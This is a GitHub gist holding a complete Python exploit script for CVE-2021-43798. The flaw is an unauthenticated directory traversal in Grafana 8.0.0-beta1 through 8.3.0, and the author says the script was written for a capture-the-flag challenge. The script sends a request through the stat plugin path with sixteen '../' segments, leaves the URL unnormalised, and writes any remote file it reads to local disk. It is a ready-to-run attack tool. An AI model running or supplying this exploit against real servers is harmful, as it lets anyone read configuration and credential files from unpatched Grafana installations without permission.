Skip to content

Instantly share code, notes, and snippets.

@bryanmcnulty
Created January 27, 2023 11:45
Show Gist options
  • Select an option

  • Save bryanmcnulty/0f013fb75e94140bae70de2b0e986e45 to your computer and use it in GitHub Desktop.

Select an option

Save bryanmcnulty/0f013fb75e94140bae70de2b0e986e45 to your computer and use it in GitHub Desktop.
Exploit for Grafana V8.0.0-beta1 - 8.3.0 - Unauthenticated Directory Traversal and Local File Read
#!/usr/bin/env python3
'''
* Written for a CTF :)
* ---
* Author: Bryan McNulty
* Contact: bryanmcnulty@protonmail.com
* GitHub: https://github.com/bryanmcnulty
* ---
* Dependencies:
* - argparse
* - requests
*
* Proof-of-concept for CVE-2021-43798
* Affects Grafana installations: 8.0.0-beta1 < 8.3.0
'''
import requests
import argparse
import sys
def exploit(target_url, file_path):
base_url = target_url.rstrip('/')
traversal = ('../' * 16).rstrip('/')
url = f'{target_url}/public/plugins/stat/{traversal}{file_path}'
session = requests.Session()
request = requests.Request(method='GET', url=url)
prepared = request.prepare()
prepared.url = url
try:
response = session.send(prepared, verify=False, timeout=3)
except requests.exceptions.ConnectTimeout:
print('[!] Request timed out.')
return None
if response.status_code == 200:
if len(response.content) == 0:
print('[-] Remote path is a directory or empty file.')
return response.content
elif response.status_code == 404:
print('[!] Remote file not found:', file_path)
return None
else:
print('[!] Unknown status code:', response.status_code)
return None
def main():
parser = argparse.ArgumentParser(description='Grafana V8.0.0-beta1 - 8.3.0 - Unauthenticated Directory Traversal and Local File Read')
parser.add_argument('-u', '--url', required=True, help='Target base URL')
parser.add_argument('-f', '--file', required=True, help='Full path to remote file')
parser.add_argument('-o', '--output', required=True, help='Save remote file to this path')
args = parser.parse_args()
content = exploit(args.url, args.file)
if content is None:
sys.exit(1)
print('[+] Exploit successful.')
try:
with open(args.output, 'wb') as out_file:
out_file.write(content)
print('[+] Output saved to file:', args.output)
except Exception as error:
print('[!] Error writing to output file:', error)
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment